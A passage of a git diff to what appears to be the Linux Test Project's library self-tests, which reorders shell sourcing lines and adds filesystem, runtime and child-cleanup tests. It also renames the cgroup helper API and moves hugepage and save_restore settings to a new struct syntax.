119247f8..773b8dd3 100755 --- a/lib/newlib_tests/shell/net/tst_rhost_run.sh +++ b/lib/newlib_tests/shell/net/tst_rhost_run.sh @@ -4,7 +4,6 @@ TST_TESTFUNC=do_test PATH="$(dirname $0)/../../../../testcases/lib/:$PATH" -. tst_net.sh export TST_NET_RHOST_RUN_DEBUG=1 @@ -24,4 +23,5 @@ do_test() tst_res TPASS "tst_rhost_run is working" } +. tst_net.sh tst_run diff --git a/lib/newlib_tests/shell/timeout01.sh b/lib/newlib_tests/shell/timeout01.sh index 8f0971ac..6945f612 100755 --- a/lib/newlib_tests/shell/timeout01.sh +++ b/lib/newlib_tests/shell/timeout01.sh @@ -5,11 +5,11 @@ TST_TESTFUNC=do_test TST_TIMEOUT=-1 -. tst_test.sh do_test() { tst_res TPASS "timeout $TST_TIMEOUT set" } +. tst_test.sh tst_run diff --git a/lib/newlib_tests/shell/timeout02.sh b/lib/newlib_tests/shell/timeout02.sh index 47e7a2d4..cc8cce5d 100755 --- a/lib/newlib_tests/shell/timeout02.sh +++ b/lib/newlib_tests/shell/timeout02.sh @@ -5,11 +5,11 @@ TST_TESTFUNC=do_test TST_TIMEOUT=2 -. tst_test.sh do_test() { tst_res TPASS "timeout $TST_TIMEOUT set (LTP_TIMEOUT_MUL='$LTP_TIMEOUT_MUL')" } +. tst_test.sh tst_run diff --git a/lib/newlib_tests/shell/timeout03.sh b/lib/newlib_tests/shell/timeout03.sh index eec2d40b..811ce756 100755 --- a/lib/newlib_tests/shell/timeout03.sh +++ b/lib/newlib_tests/shell/timeout03.sh @@ -28,7 +28,6 @@ TST_TESTFUNC=do_test TST_CLEANUP=cleanup TST_TIMEOUT=1 -. tst_test.sh do_test() { @@ -46,4 +45,5 @@ cleanup() tst_res TFAIL "cleanup: running after TST_TIMEOUT" } +. tst_test.sh tst_run diff --git a/lib/newlib_tests/shell/timeout04.sh b/lib/newlib_tests/shell/timeout04.sh index c702905f..eb41c2c4 100755 --- a/lib/newlib_tests/shell/timeout04.sh +++ b/lib/newlib_tests/shell/timeout04.sh @@ -5,7 +5,6 @@ TST_TESTFUNC=do_test TST_TIMEOUT=1 -. tst_test.sh do_test() { @@ -19,4 +18,5 @@ do_cleanup() tst_res TINFO "cleanup" } +. tst_test.sh tst_run diff --git a/lib/newlib_tests/shell/tst_all_filesystems.sh b/lib/newlib_tests/shell/tst_all_filesystems.sh new file mode 100644 index 00000000..7561579f --- /dev/null +++ b/lib/newlib_tests/shell/tst_all_filesystems.sh @@ -0,0 +1,22 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2022 Petr Vorel + +TST_ALL_FILESYSTEMS=1 +TST_MOUNT_DEVICE=1 +TST_NEEDS_ROOT=1 +TST_TESTFUNC=test +TST_CNT=2 + +test1() +{ + tst_res TPASS "device using filesystem" +} + +test2() +{ + EXPECT_PASS "grep -E '$TST_MNTPOINT ($TST_FS_TYPE|fuseblk)' /proc/mounts" +} + +. tst_test.sh +tst_run diff --git a/lib/newlib_tests/shell/tst_all_filesystems_skip.sh b/lib/newlib_tests/shell/tst_all_filesystems_skip.sh new file mode 100644 index 00000000..9516f38d --- /dev/null +++ b/lib/newlib_tests/shell/tst_all_filesystems_skip.sh @@ -0,0 +1,17 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2022 Petr Vorel + +TST_ALL_FILESYSTEMS=1 +TST_MOUNT_DEVICE=1 +TST_NEEDS_ROOT=1 +TST_TESTFUNC=test +TST_SKIP_FILESYSTEMS="btrfs,exfat,ext2,ext3,ext4,fuse,ntfs,vfat,tmpfs,xfs" + +test1() +{ + tst_res TFAIL "test should be skipped with TCONF" +} + +. tst_test.sh +tst_run diff --git a/lib/newlib_tests/shell/tst_check_driver.sh b/lib/newlib_tests/shell/tst_check_driver.sh index d188b6f7..784c5d24 100755 --- a/lib/newlib_tests/shell/tst_check_driver.sh +++ b/lib/newlib_tests/shell/tst_check_driver.sh @@ -4,9 +4,8 @@ TST_TESTFUNC=test TST_SETUP=setup -TST_CNT=3 +TST_CNT=4 TST_NEEDS_CMDS="tst_check_drivers find grep head sed" -. tst_test.sh MODULES_DIR="${MODULES_DIR:-/lib/modules/$(uname -r)}" @@ -54,10 +53,20 @@ test3() tst_res TINFO "check built-in module detection" - [ -f "$f" ] || \ - tst_brk TCONF "missing '$f'" + [ -f "$f" ] || tst_brk TCONF "missing '$f'" test_drivers $(grep -E '_[^/]+\.ko' $f | head -3) } +test4() +{ + local f="$MODULES_DIR/modules.builtin" + + tst_res TINFO "check for x68_64 arch module detection" + + [ -f "$f" ] || tst_brk TCONF "missing '$f'" + test_drivers $(grep -E '[^/]+[-_]x86[-_]64.*\.ko' $f | head -3) +} + +. tst_test.sh tst_run diff --git a/lib/newlib_tests/shell/tst_check_kconfig01.sh b/lib/newlib_tests/shell/tst_check_kconfig01.sh index 03f86266..c80b8923 100755 --- a/lib/newlib_tests/shell/tst_check_kconfig01.sh +++ b/lib/newlib_tests/shell/tst_check_kconfig01.sh @@ -5,11 +5,10 @@ TST_TESTFUNC=do_test TST_NEEDS_KCONFIGS="CONFIG_EXT4" -. tst_test.sh - do_test() { tst_res TFAIL "kernel .config doesn't have CONFIG_EXT4" } +. tst_test.sh tst_run diff --git a/lib/newlib_tests/shell/tst_check_kconfig02.sh b/lib/newlib_tests/shell/tst_check_kconfig02.sh index 6a20cfc3..5bdb9841 100755 --- a/lib/newlib_tests/shell/tst_check_kconfig02.sh +++ b/lib/newlib_tests/shell/tst_check_kconfig02.sh @@ -4,11 +4,11 @@ TST_TESTFUNC=do_test TST_NEEDS_KCONFIGS="CONFIG_EXT4_FS : CONFIG_XFS_FS" -. tst_test.sh do_test() { tst_res TFAIL "invalid kconfig delimter" } +. tst_test.sh tst_run diff --git a/lib/newlib_tests/shell/tst_check_kconfig03.sh b/lib/newlib_tests/shell/tst_check_kconfig03.sh index 361b6bf0..1dcc14a8 100755 --- a/lib/newlib_tests/shell/tst_check_kconfig03.sh +++ b/lib/newlib_tests/shell/tst_check_kconfig03.sh @@ -5,11 +5,11 @@ TST_TESTFUNC=do_test TST_NEEDS_KCONFIGS="CONFIG_EXT4_FS : CONFIG_XFS_FS" TST_NEEDS_KCONFIGS_IFS=":" -. tst_test.sh do_test() { tst_res TPASS "valid kconfig delimter" } +. tst_test.sh tst_run diff --git a/lib/newlib_tests/shell/tst_check_kconfig04.sh b/lib/newlib_tests/shell/tst_check_kconfig04.sh index 21cd998d..522b3a8d 100755 --- a/lib/newlib_tests/shell/tst_check_kconfig04.sh +++ b/lib/newlib_tests/shell/tst_check_kconfig04.sh @@ -3,7 +3,6 @@ # Copyright (c) 2022 FUJITSU LIMITED. All rights reserved. TST_TESTFUNC=do_test -. tst_test.sh do_test() { @@ -21,4 +20,5 @@ do_test() tst_res TPASS "kernel .config doesn't have CONFIG_EXT4" fi } +. tst_test.sh tst_run diff --git a/lib/newlib_tests/shell/tst_check_kconfig05.sh b/lib/newlib_tests/shell/tst_check_kconfig05.sh index f118f27a..045995c8 100755 --- a/lib/newlib_tests/shell/tst_check_kconfig05.sh +++ b/lib/newlib_tests/shell/tst_check_kconfig05.sh @@ -3,7 +3,6 @@ # Copyright (c) 2022 FUJITSU LIMITED. All rights reserved. TST_TESTFUNC=do_test -. tst_test.sh do_test() { @@ -13,4 +12,5 @@ do_test() tst_require_kconfigs "CONFIG_EXT4" tst_res TFAIL "kernel .config has CONFIG_EXT4" } +. tst_test.sh tst_run diff --git a/lib/newlib_tests/shell/tst_errexit.sh b/lib/newlib_tests/shell/tst_errexit.sh new file mode 100644 index 00000000..1c981af9 --- /dev/null +++ b/lib/newlib_tests/shell/tst_errexit.sh @@ -0,0 +1,66 @@ +#!/bin/sh -e +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2022 Petr Vorel + +TST_TESTFUNC=test +TST_CNT=6 + +# not needed, just cover more code +TST_SETUP=setup +TST_CLEANUP=cleanup +TST_NEEDS_TMPDIR=1 + +setup() +{ + tst_res TINFO "in setup" +} + +cleanup() +{ + tst_res TINFO "in cleanup" +} + +run() +{ + tst_res TINFO "LTP_COLORIZE_OUTPUT: '$LTP_COLORIZE_OUTPUT'" + tst_res TPASS "shell library works with set -e" +} + +test1() +{ + export LTP_COLORIZE_OUTPUT=y + run +} + +test2() +{ + export LTP_COLORIZE_OUTPUT=n + run +} + +test3() +{ + export LTP_COLORIZE_OUTPUT=0 + run +} + +test4() +{ + export LTP_COLORIZE_OUTPUT=1 + run +} + +test5() +{ + export LTP_COLORIZE_OUTPUT= + run +} + +test6() +{ + unset LTP_COLORIZE_OUTPUT + run +} + +. tst_test.sh +tst_run diff --git a/lib/newlib_tests/shell/tst_format_device.sh b/lib/newlib_tests/shell/tst_format_device.sh new file mode 100644 index 00000000..dbe4ea9e --- /dev/null +++ b/lib/newlib_tests/shell/tst_format_device.sh @@ -0,0 +1,24 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2022 Petr Vorel + +TST_FORMAT_DEVICE=1 +TST_NEEDS_ROOT=1 +TST_TESTFUNC=test +TST_CNT=2 +TST_DEV_FS_OPTS="-b 1024" +TST_DEV_EXTRA_OPTS="5m" + +test1() +{ + tst_res TPASS "device formatted" +} + +test2() +{ + tst_check_cmds df || return + EXPECT_PASS "df $TST_DEVICE | grep -q /dev" +} + +. tst_test.sh +tst_run diff --git a/lib/newlib_tests/shell/tst_mount_device.sh b/lib/newlib_tests/shell/tst_mount_device.sh new file mode 100644 index 00000000..70f80f84 --- /dev/null +++ b/lib/newlib_tests/shell/tst_mount_device.sh @@ -0,0 +1,27 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2022 Petr Vorel + +TST_MOUNT_DEVICE=1 +TST_NEEDS_ROOT=1 +TST_FS_TYPE=ext4 +TST_TESTFUNC=test +TST_CNT=3 + +test1() +{ + EXPECT_PASS "cd $TST_MNTPOINT" +} + +test2() +{ + EXPECT_PASS "grep '$TST_MNTPOINT $TST_FS_TYPE' /proc/mounts" +} + +test3() +{ + tst_brk TCONF "quit early to test early tst_umount" +} + +. tst_test.sh +tst_run diff --git a/lib/newlib_tests/shell/tst_mount_device_tmpfs.sh b/lib/newlib_tests/shell/tst_mount_device_tmpfs.sh new file mode 100644 index 00000000..ed2ba8c5 --- /dev/null +++ b/lib/newlib_tests/shell/tst_mount_device_tmpfs.sh @@ -0,0 +1,16 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2022 Petr Vorel + +TST_MOUNT_DEVICE=1 +TST_NEEDS_ROOT=1 +TST_FS_TYPE=tmpfs +TST_TESTFUNC=test + +test() +{ + EXPECT_PASS "cd $TST_MNTPOINT" +} + +. tst_test.sh +tst_run diff --git a/lib/newlib_tests/shell/tst_skip_filesystems.sh b/lib/newlib_tests/shell/tst_skip_filesystems.sh new file mode 100644 index 00000000..675d0ee5 --- /dev/null +++ b/lib/newlib_tests/shell/tst_skip_filesystems.sh @@ -0,0 +1,35 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2022 Petr Vorel + +TST_MOUNT_DEVICE=1 +TST_NEEDS_ROOT=1 +TST_FS_TYPE=ext4 +TST_TESTFUNC=test +TST_SKIP_FILESYSTEMS="btrfs,exfat,ext2,ext3,fuse,ntfs,vfat,tmpfs,xfs" +TST_CNT=3 + +test1() +{ + EXPECT_PASS "cd $TST_MNTPOINT" +} + +test2() +{ + EXPECT_PASS "grep '$TST_MNTPOINT $TST_FS_TYPE' /proc/mounts" +} + +test3() +{ + local fs fs_skip + + fs=$(grep "$TST_MNTPOINT $TST_FS_TYPE" /proc/mounts | cut -d ' ' -f3) + EXPECT_PASS "[ '$fs' = '$TST_FS_TYPE' ]" + + for fs_skip in $TST_SKIP_FILESYSTEMS; do + EXPECT_FAIL "[ $fs = $fs_skip ]" + done +} + +. tst_test.sh +tst_run diff --git a/lib/newlib_tests/test13.c b/lib/newlib_tests/test13.c index c447dc3d..83c48f73 100755 --- a/lib/newlib_tests/test13.c +++ b/lib/newlib_tests/test13.c @@ -20,7 +20,6 @@ static void do_test(void) } static struct tst_test test = { - .timeout = 1, .forks_child = 1, .test_all = do_test, }; diff --git a/lib/newlib_tests/test19.c b/lib/newlib_tests/test19.c index 78b5202d..a5683eaa 100755 --- a/lib/newlib_tests/test19.c +++ b/lib/newlib_tests/test19.c @@ -8,13 +8,6 @@ #include "tst_test.h" #include "tst_sys_conf.h" -static const char * const save_restore[] = { - "?/proc/nonexistent", - "!/proc/sys/kernel/numa_balancing", - "/proc/sys/kernel/core_pattern", - NULL, -}; - static void setup(void) { SAFE_FILE_PRINTF("/proc/sys/kernel/core_pattern", "changed"); @@ -30,5 +23,10 @@ static struct tst_test test = { .needs_root = 1, .test_all = run, .setup = setup, - .save_restore = save_restore, + .save_restore = (const struct tst_path_val[]) { + {"/proc/nonexistent", NULL, TST_SR_SKIP}, + {"/proc/sys/kernel/numa_balancing", NULL, TST_SR_TBROK}, + {"/proc/sys/kernel/core_pattern", NULL, TST_SR_TCONF}, + {} + }, }; diff --git a/lib/newlib_tests/test20.c b/lib/newlib_tests/test20.c index 53317b66..3726cea0 100755 --- a/lib/newlib_tests/test20.c +++ b/lib/newlib_tests/test20.c @@ -4,18 +4,13 @@ */ /* - * Tests .request_hugepages + .save_restore + * Tests .hugepages + .save_restore */ #include "tst_test.h" #include "tst_hugepage.h" #include "tst_sys_conf.h" -static const char * const save_restore[] = { - "!/proc/sys/kernel/numa_balancing", - NULL, -}; - static void do_test(void) { unsigned long val, hpages; @@ -23,23 +18,28 @@ static void do_test(void) { tst_res(TINFO, "tst_hugepages = %lu", tst_hugepages); SAFE_FILE_PRINTF("/proc/sys/kernel/numa_balancing", "1"); - hpages = test.request_hugepages; + hpages = test.hugepages.number; SAFE_FILE_SCANF(PATH_NR_HPAGES, "%lu", &val); if (val != hpages) tst_brk(TBROK, "nr_hugepages = %lu, but expect %lu", val, hpages); else - tst_res(TPASS, "test .needs_hugepges"); + tst_res(TPASS, "test .hugepges"); + + struct tst_hugepage hp = { 1000000000000, TST_REQUEST }; + hpages = tst_reserve_hugepages(&hp); - hpages = tst_request_hugepages(3); SAFE_FILE_SCANF(PATH_NR_HPAGES, "%lu", &val); if (val != hpages) tst_brk(TBROK, "nr_hugepages = %lu, but expect %lu", val, hpages); else - tst_res(TPASS, "tst_request_hugepages"); + tst_res(TPASS, "tst_reserve_hugepages"); } static struct tst_test test = { .test_all = do_test, - .request_hugepages = 2, - .save_restore = save_restore, + .hugepages = {2, TST_NEEDS}, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/kernel/numa_balancing", "0", TST_SR_TBROK}, + {} + }, }; diff --git a/lib/newlib_tests/test_children_cleanup.c b/lib/newlib_tests/test_children_cleanup.c new file mode 100644 index 00000000..4a1313f6 --- /dev/null +++ b/lib/newlib_tests/test_children_cleanup.c @@ -0,0 +1,42 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 SUSE LLC + */ + +/*\ + * Test whether the LTP library properly reaps any children left over when + * the main test process dies. Run using test_children_cleanup.sh. + */ + +#include +#include + +#include "tst_test.h" + +static void run(void) +{ + pid_t child_pid, main_pid = getpid(); + + tst_res(TINFO, "Main process %d starting", main_pid); + + /* Check that normal child reaping does not disrupt the test */ + if (!SAFE_FORK()) + return; + + SAFE_WAIT(NULL); + child_pid = SAFE_FORK(); + + /* Start child that will outlive the main test process */ + if (!child_pid) { + sleep(30); + return; + } + + tst_res(TINFO, "Forked child %d", child_pid); + kill(main_pid, SIGKILL); +} + +static struct tst_test test = { + .test_all = run, + .forks_child = 1, +}; diff --git a/lib/newlib_tests/test_children_cleanup.sh b/lib/newlib_tests/test_children_cleanup.sh new file mode 100644 index 00000000..5f090f8b --- /dev/null +++ b/lib/newlib_tests/test_children_cleanup.sh @@ -0,0 +1,30 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2022 SUSE LLC + +TMPFILE="/tmp/ltp_children_cleanup_$$.log" +./test_children_cleanup 1>$TMPFILE 2>&1 +CHILD_PID=`sed -n 's/^.*Forked child \([0-9]*\)$/\1/p' "$TMPFILE"` +rm "$TMPFILE" + +if [ "x$CHILD_PID" = "x" ]; then + echo "TFAIL: Child process was not created" + exit 1 +fi + +# The child process can stay alive for a short while even after receiving +# SIGKILL, especially if the system is under heavy load. Wait up to 5 seconds +# for it to fully exit. +for i in `seq 6`; do + CHILD_STATE=`sed -ne 's/^State:\s*\([A-Z]\).*$/\1/p' "/proc/$CHILD_PID/status" 2>/dev/null` + + if [ ! -e "/proc/$CHILD_PID" ] || [ "$CHILD_STATE" = "Z" ]; then + echo "TPASS: Child process was cleaned up" + exit 0 + fi + + sleep 1 +done + +echo "TFAIL: Child process was left behind" +exit 1 diff --git a/lib/newlib_tests/test_guarded_buf.c b/lib/newlib_tests/test_guarded_buf.c index c0deb84a..b6035fdf 100755 --- a/lib/newlib_tests/test_guarded_buf.c +++ b/lib/newlib_tests/test_guarded_buf.c @@ -67,7 +67,7 @@ static void do_test(unsigned int n) if (n < 3) { if (WIFEXITED(status) && WEXITSTATUS(status) == 0) { - tst_res(TPASS, "Exitted normally"); + tst_res(TPASS, "exited normally"); return; } } else { diff --git a/lib/newlib_tests/test_runtime01.c b/lib/newlib_tests/test_runtime01.c new file mode 100644 index 00000000..5e027546 --- /dev/null +++ b/lib/newlib_tests/test_runtime01.c @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2018, Linux Test Project + * + * Runs for 4 seconds for each test iteration. + */ +#include +#include +#include "tst_test.h" + +static void run(void) +{ + int runtime; + + tst_res(TINFO, "Running variant %i", tst_variant); + + do { + runtime = tst_remaining_runtime(); + tst_res(TINFO, "Remaining runtime %d", runtime); + sleep(1); + } while (runtime); + + tst_res(TPASS, "Finished loop!"); +} + +static struct tst_test test = { + .test_all = run, + .max_runtime = 4, + .test_variants = 2, +}; diff --git a/lib/newlib_tests/test_runtime02.c b/lib/newlib_tests/test_runtime02.c new file mode 100644 index 00000000..6d89cb53 --- /dev/null +++ b/lib/newlib_tests/test_runtime02.c @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2021, Linux Test Project + */ +/* + * This test is set up so that the timeout is not long enough to guarantee + * enough runtime for two iterations, i.e. the timeout without offset and after + * scaling is too small and the tests ends up with TBROK. + * + * The default timeout in the test library is set to 30 seconds. The test + * runtime is set to 5 so the test should timeout after 35 seconds. + */ + +#include +#include +#include "tst_test.h" + +static void run(void) +{ + tst_res(TINFO, "Sleeping for 40 seconds"); + sleep(40); + tst_res(TFAIL, "Still alive"); +} + +static struct tst_test test = { + .test_all = run, + .max_runtime = 5, +}; diff --git a/lib/newlib_tests/test_zero_hugepage.c b/lib/newlib_tests/test_zero_hugepage.c index 0d85ce86..eec48ffb 100755 --- a/lib/newlib_tests/test_zero_hugepage.c +++ b/lib/newlib_tests/test_zero_hugepage.c @@ -4,7 +4,7 @@ */ /* - * Tests .request_hugepages = TST_NO_HUGEPAGES + * Tests .hugepages = {TST_NO_HUGEPAGES} */ #include "tst_test.h" @@ -19,17 +19,18 @@ static void do_test(void) if (val != 0) tst_brk(TBROK, "nr_hugepages = %lu, but expect 0", val); else - tst_res(TPASS, "test .request_hugepages = TST_NO_HUGEPAGES"); + tst_res(TPASS, "test .hugepages = {TST_NO_HUGEPAGES}"); - hpages = tst_request_hugepages(3); + struct tst_hugepage hp = { 3, TST_REQUEST }; + hpages = tst_reserve_hugepages(&hp); SAFE_FILE_SCANF(PATH_NR_HPAGES, "%lu", &val); if (val != hpages) tst_brk(TBROK, "nr_hugepages = %lu, but expect %lu", val, hpages); else - tst_res(TPASS, "tst_request_hugepages"); + tst_res(TPASS, "tst_reserve_hugepages"); } static struct tst_test test = { .test_all = do_test, - .request_hugepages = TST_NO_HUGEPAGES, + .hugepages = {TST_NO_HUGEPAGES}, }; diff --git a/lib/newlib_tests/tst_cgroup01.c b/lib/newlib_tests/tst_cgroup01.c index 54a37036..eda0c548 100755 --- a/lib/newlib_tests/tst_cgroup01.c +++ b/lib/newlib_tests/tst_cgroup01.c @@ -4,7 +4,6 @@ #include #include "tst_test.h" -#include "tst_cgroup.h" static char *only_mount_v1; static char *no_cleanup; @@ -13,7 +12,7 @@ static struct tst_option opts[] = { {"n", &no_cleanup, "-n\tLeave CGroups created by test"}, {NULL, NULL, NULL}, }; -struct tst_cgroup_opts cgopts; +struct tst_cg_opts cgopts; static void do_test(void) { @@ -22,15 +21,15 @@ static void do_test(void) static void setup(void) { - cgopts.only_mount_v1 = !!only_mount_v1, + cgopts.needs_ver = !!only_mount_v1 ? TST_CG_V1 : 0; - tst_cgroup_scan(); - tst_cgroup_print_config(); + tst_cg_scan(); + tst_cg_print_config(); - tst_cgroup_require("memory", &cgopts); - tst_cgroup_print_config(); - tst_cgroup_require("cpuset", &cgopts); - tst_cgroup_print_config(); + tst_cg_require("memory", &cgopts); + tst_cg_print_config(); + tst_cg_require("cpuset", &cgopts); + tst_cg_print_config(); } static void cleanup(void) @@ -39,7 +38,7 @@ static void cleanup(void) tst_res(TINFO, "no cleanup"); } else { tst_res(TINFO, "cleanup"); - tst_cgroup_cleanup(); + tst_cg_cleanup(); } } diff --git a/lib/newlib_tests/tst_cgroup02.c b/lib/newlib_tests/tst_cgroup02.c index 64b0a1e9..de2ca181 100755 --- a/lib/newlib_tests/tst_cgroup02.c +++ b/lib/newlib_tests/tst_cgroup02.c @@ -5,7 +5,6 @@ #include #include "tst_test.h" -#include "tst_cgroup.h" static char *only_mount_v1; static char *no_cleanup; @@ -14,71 +13,69 @@ static struct tst_option opts[] = { {"n", &no_cleanup, "-n\tLeave CGroups created by test"}, {NULL, NULL, NULL}, }; -static struct tst_cgroup_opts cgopts; -static const struct tst_cgroup_group *cg; -static const struct tst_cgroup_group *cg_drain; -static struct tst_cgroup_group *cg_child; +static struct tst_cg_opts cgopts; +static struct tst_cg_group *cg_child; static void do_test(void) { char buf[BUFSIZ]; size_t mem; - if (!TST_CGROUP_VER_IS_V1(cg, "memory")) - SAFE_CGROUP_PRINT(cg, "cgroup.subtree_control", "+memory"); - if (!TST_CGROUP_VER_IS_V1(cg, "cpuset")) - SAFE_CGROUP_PRINT(cg, "cgroup.subtree_control", "+cpuset"); + if (!TST_CG_VER_IS_V1(tst_cg, "memory")) + SAFE_CG_PRINT(tst_cg, "cgroup.subtree_control", "+memory"); + if (!TST_CG_VER_IS_V1(tst_cg, "cpuset")) + SAFE_CG_PRINT(tst_cg, "cgroup.subtree_control", "+cpuset"); - cg_child = tst_cgroup_group_mk(cg, "child"); + cg_child = tst_cg_group_mk(tst_cg, "child"); if (!SAFE_FORK()) { - SAFE_CGROUP_PRINTF(cg_child, "cgroup.procs", "%d", getpid()); + SAFE_CG_PRINTF(cg_child, "cgroup.procs", "%d", getpid()); - SAFE_CGROUP_SCANF(cg_child, "memory.current", "%zu", &mem); + SAFE_CG_SCANF(cg_child, "memory.current", "%zu", &mem); tst_res(TPASS, "child/memory.current = %zu", mem); - SAFE_CGROUP_PRINTF(cg_child, "memory.max", + SAFE_CG_PRINTF(cg_child, "memory.max", "%zu", (1UL << 24) - 1); - SAFE_CGROUP_PRINTF(cg_child, "memory.swap.max", + SAFE_CG_PRINTF(cg_child, "memory.swap.max", "%zu", 1UL << 31); - SAFE_CGROUP_READ(cg_child, "cpuset.mems", buf, sizeof(buf)); + SAFE_CG_READ(cg_child, "cpuset.mems", buf, sizeof(buf)); tst_res(TPASS, "child/cpuset.mems = %s", buf); - SAFE_CGROUP_PRINT(cg_child, "cpuset.mems", buf); + SAFE_CG_PRINT(cg_child, "cpuset.mems", buf); exit(0); } - SAFE_CGROUP_PRINTF(cg, "memory.max", "%zu", (1UL << 24) - 1); - SAFE_CGROUP_PRINTF(cg_child, "cgroup.procs", "%d", getpid()); - SAFE_CGROUP_SCANF(cg, "memory.current", "%zu", &mem); + SAFE_CG_PRINTF(tst_cg, "memory.max", "%zu", (1UL << 24) - 1); + SAFE_CG_PRINTF(cg_child, "cgroup.procs", "%d", getpid()); + SAFE_CG_SCANF(tst_cg, "memory.current", "%zu", &mem); tst_res(TPASS, "memory.current = %zu", mem); tst_reap_children(); - SAFE_CGROUP_PRINTF(cg_drain, "cgroup.procs", "%d", getpid()); - cg_child = tst_cgroup_group_rm(cg_child); + SAFE_CG_PRINTF(tst_cg_drain, "cgroup.procs", "%d", getpid()); + cg_child = tst_cg_group_rm(cg_child); } static void setup(void) { - cgopts.only_mount_v1 = !!only_mount_v1, + cgopts.needs_ver = !!only_mount_v1 ? TST_CG_V1 : 0; - tst_cgroup_scan(); - tst_cgroup_print_config(); + tst_cg_scan(); + tst_cg_print_config(); - tst_cgroup_require("memory", &cgopts); - tst_cgroup_require("cpuset", &cgopts); + tst_cg_require("memory", &cgopts); + tst_cg_require("cpuset", &cgopts); - cg = tst_cgroup_get_test_group(); - cg_drain = tst_cgroup_get_drain_group(); + tst_cg_init(); } static void cleanup(void) { if (cg_child) { - SAFE_CGROUP_PRINTF(cg_drain, "cgroup.procs", "%d", getpid()); - cg_child = tst_cgroup_group_rm(cg_child); + SAFE_CG_PRINTF(tst_cg_drain, + "cgroup.procs", "%d", getpid()); + cg_child = tst_cg_group_rm(cg_child); } if (!no_cleanup) - tst_cgroup_cleanup(); + tst_cg_cleanup(); } static struct tst_test test = { diff --git a/lib/newlib_tests/tst_device.c b/lib/newlib_tests/tst_device.c index 0bee0a93..53099f9b 100755 --- a/lib/newlib_tests/tst_device.c +++ b/lib/newlib_tests/tst_device.c @@ -1,47 +1,112 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2016 Linux Test Project + * Copyright (C) 2021 SUSE LLC Andrea Cervesato */ +#define _GNU_SOURCE #include #include #include +#include +#include +#include #include "tst_test.h" -static void do_test(void) +#define DEVBLOCKSIZE 2048 +#define DEV_MIN_SIZE 310 + +static char *mntpoint; +static uint64_t ltp_dev_size; + +static int set_block_size(int fd) +{ + return ioctl(fd, LOOP_SET_BLOCK_SIZE, DEVBLOCKSIZE); +} + +static void setup(void) { int fd; - const char *dev; - char block_dev[100]; - uint64_t ltp_dev_size; + int ret; - dev = tst_device->dev; - if (!dev) - tst_brk(TCONF, "Failed to acquire test device"); + ret = asprintf(&mntpoint, "%s/mnt", tst_get_tmpdir()); + if (ret < 0) + tst_brk(TBROK, "asprintf failure"); - SAFE_MKFS(dev, "ext2", NULL, NULL); + fd = SAFE_OPEN(tst_device->dev, O_RDONLY); - fd = SAFE_OPEN(dev, O_RDONLY); SAFE_IOCTL(fd, BLKGETSIZE64, <p_dev_size); + + TST_RETRY_FN_EXP_BACKOFF(set_block_size(fd), TST_RETVAL_EQ0, 10); + SAFE_CLOSE(fd); - if (ltp_dev_size/1024/1024 == 300) - tst_res(TPASS, "Got expected device size"); + SAFE_MKFS(tst_device->dev, tst_device->fs_type, NULL, NULL); + + SAFE_MKDIR(mntpoint, 0777); + SAFE_MOUNT(tst_device->dev, mntpoint, tst_device->fs_type, 0, 0); +} + +static void cleanup(void) +{ + if (tst_is_mounted(mntpoint)) + SAFE_UMOUNT(mntpoint); +} + +static void test_dev_min_size(void) +{ + uint64_t size; + + size = ltp_dev_size / 1024 / 1024; + + if (size == DEV_MIN_SIZE) + tst_res(TPASS, "Got expected device size %lu", size); else - tst_res(TFAIL, "Got unexpected device size"); - - tst_find_backing_dev("/boot", block_dev); - tst_res(TPASS, "/boot belongs to %s block dev", block_dev); - tst_find_backing_dev("/", block_dev); - tst_res(TPASS, "/ belongs to %s block dev", block_dev); - tst_find_backing_dev("/tmp", block_dev); - tst_find_backing_dev("/boot/xuyang", block_dev); + tst_res(TFAIL, "Expected device size is %d but got %lu", + DEV_MIN_SIZE, size); +} + +static void test_tst_find_backing_dev(void) +{ + char block_dev[100]; + + tst_find_backing_dev(mntpoint, block_dev, sizeof(block_dev)); + + if (!strcmp(tst_device->dev, block_dev)) + tst_res(TPASS, "%s belongs to %s block dev", mntpoint, + block_dev); + else + tst_res(TFAIL, "%s should belong to %s, but %s is returned", + mntpoint, tst_device->dev, block_dev); +} + +static void test_tst_dev_block_size(void) +{ + int block_size; + + block_size = tst_dev_block_size(mntpoint); + + if (block_size == DEVBLOCKSIZE) + tst_res(TPASS, "%s has %d block size", mntpoint, block_size); + else + tst_res(TFAIL, "%s has %d block size, but expected is %i", + mntpoint, block_size, DEVBLOCKSIZE); +} + +static void do_test(void) +{ + test_dev_min_size(); + test_tst_find_backing_dev(); + test_tst_dev_block_size(); } static struct tst_test test = { .needs_root = 1, .needs_device = 1, - .dev_min_size = 300, + .dev_min_size = DEV_MIN_SIZE, .test_all = do_test, + .setup = setup, + .cleanup = cleanup, + .min_kver = "4.14", }; diff --git a/lib/newlib_tests/tst_fuzzy_sync01.c b/lib/newlib_tests/tst_fuzzy_sync01.c index ae3ea4e0..d0748958 100755 --- a/lib/newlib_tests/tst_fuzzy_sync01.c +++ b/lib/newlib_tests/tst_fuzzy_sync01.c @@ -182,15 +182,10 @@ static void *worker(void *v) static void run(unsigned int i) { const struct window a = races[i].a; - struct tst_fzsync_run_thread wrap_run_b = { - .func = worker, - .arg = &i, - }; int cs, ct, r, too_early = 0, critical = 0, too_late = 0; tst_fzsync_pair_reset(&pair, NULL); - SAFE_PTHREAD_CREATE(&pair.thread_b, 0, tst_fzsync_thread_wrapper, - &wrap_run_b); + 